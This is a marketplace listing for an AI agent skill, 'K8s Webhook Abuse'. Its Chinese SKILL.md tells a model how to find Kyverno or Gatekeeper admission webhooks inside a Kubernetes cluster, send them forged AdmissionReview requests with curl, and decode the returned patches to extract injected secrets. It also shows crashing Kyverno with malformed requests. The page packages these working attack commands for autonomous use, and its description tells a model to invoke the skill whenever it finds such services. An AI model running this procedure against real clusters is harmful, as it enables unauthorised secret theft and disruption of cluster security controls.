K8s Webhook Abuse logo

K8s Webhook Abuse

OrganizationPopular
wgpsec
k8s-webhook-abuse

Kubernetes Admission Webhook 滥用与策略引擎利用。当集群存在 Kyverno/OPA Gatekeeper/自定义 Webhook、DNS 扫描发现 kyverno-svc 或 gatekeeper 服务、或需要从 Mutating Webhook 提取注入的 Secret 时使用。核心手法:伪造 AdmissionReview 请求。任何在 K8s 中发现 Webhook 服务或策略引擎的场景都应使用此技能

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namek8s-webhook-abuse
Stars
1.7K
Forks
242
Bundled files
1
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the K8s Webhook Abuse AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/k8s-webhook-abuse .claude/skills/k8s-webhook-abuse
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable K8s Webhook Abuse in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads K8s Webhook Abuse on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so K8s Webhook Abuse is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Kubernetes Admission Webhook 滥用

K8s 的 Admission Webhook 是集群安全的守门人,负责在资源创建/修改时执行策略(注入 Secret、环境变量等)。问题在于:很多 Webhook 不验证请求是否来自 API Server。这意味着攻击者可以从任意 Pod 直接向 Webhook 发送伪造的 AdmissionReview 请求,骗取本应注入到特权 Pod 中的 Secret。

正常流程:
  kubectl create pod → API Server → Mutating Webhook → (注入 secret) → 存储

攻击流程:
  攻击者 Pod → 直接 POST 到 Webhook → Webhook 返回 patch(含 secret)

Phase 1: 发现 Webhook 服务

bash
# DNS 扫描发现策略引擎
k8spider scan -subnet <service-cidr>

# 常见的 Webhook 服务名
# Kyverno:
#   kyverno-svc.kyverno.svc.cluster.local (443)
#   kyverno-cleanup-controller.kyverno.svc.cluster.local
# OPA Gatekeeper:
#   gatekeeper-webhook-service.gatekeeper-system.svc.cluster.local
# 自定义:
#   *-webhook-service.*

# 检测 Webhook 端点
curl -k https://kyverno-svc.kyverno.svc.cluster.local/mutate
# GET 请求返回 "only POST/OPTIONS supported" → 说明服务可达且未验证来源

Phase 2: 构造 AdmissionReview 请求

构造一个假的 Pod 创建请求发给 Webhook,骗它返回 mutation patch。

完整 JSON payload 模板见 → references/admission-review-template.md

关键字段说明:

  • namespace — 必须匹配策略的 match 条件(如 sensitive-ns),否则 Webhook 不会触发 mutation
  • kind / requestKind — 必须填写,缺失会导致 Kyverno panic
  • operation — 通常用 CREATE
  • object.spec.containers — 至少包含一个容器定义

发送请求

bash
# 保存 JSON(从 references/admission-review-template.md 获取完整模板)
cat > /tmp/admission.json << 'EOF'
... 完整 JSON ...
EOF

# 发送到 Kyverno mutate 端点
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d @/tmp/admission.json \
  https://kyverno-svc.kyverno.svc.cluster.local/mutate

# 注意事项(踩坑经验):
# - 必须 HTTPS + -k(自签证书)
# - 必须 Content-Type: application/json
# - 不要加 --http1.1(Kyverno 需要 HTTP/2,否则 stream 断开)
# - namespace 必须匹配策略的 match 条件

Phase 3: 解析返回的 Patch

响应中的 response.patch 是 Base64 编码的 JSONPatch:

bash
# 从响应中提取 patch
echo '<patch-base64>' | base64 -d | jq .

# 输出示例:
# [{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{...}"}]}]

Phase 4: 其他 Webhook 攻击

OPA Gatekeeper

端点和请求格式见 → references/admission-review-template.md

Kyverno 空指针 Panic(确认可利用性)

发送缺少 requestKind/requestResource 的不完整 AdmissionReview,Kyverno 会 panic(空指针解引用)。这虽然不直接有用,但能确认 Webhook 不验证调用方身份。


常见策略引擎端点

引擎端点端口类型
Kyverno/mutate, /validate443Mutating + Validating
OPA Gatekeeper/v1/admit443Validating
自定义/mutate, /validate, /webhook443/8443取决于实现

关键要点

  • Webhook 不验证来源 = 任何 Pod 都能伪造请求
  • Mutating Webhook 的返回 patch 可能包含注入的 Secret/Flag/Token
  • namespace 字段必须匹配策略的 match 条件才能触发 mutation
  • requestKindrequestResource 字段不能为空(否则 Kyverno 会 panic)
  • 使用 HTTP/2(不要 --http1.1),且必须带 Content-Type: application/json

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the K8s Webhook Abuse AI skill do?

Kubernetes Admission Webhook 滥用与策略引擎利用。当集群存在 Kyverno/OPA Gatekeeper/自定义 Webhook、DNS 扫描发现 kyverno-svc 或 gatekeeper 服务、或需要从 Mutating Webhook 提取注入的 Secret 时使用。核心手法:伪造 AdmissionReview 请求。任何在 K8s 中发现 Webhook 服务或策略引擎的场景都应使用此技能

Why use K8s Webhook Abuse on TypingMind?

Because you install it once and use it with any model. K8s Webhook Abuse is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install K8s Webhook Abuse in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/k8s-webhook-abuse. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use K8s Webhook Abuse?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with K8s Webhook Abuse?

As many as you like. As long as a model supports skills, you can use K8s Webhook Abuse with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the K8s Webhook Abuse AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇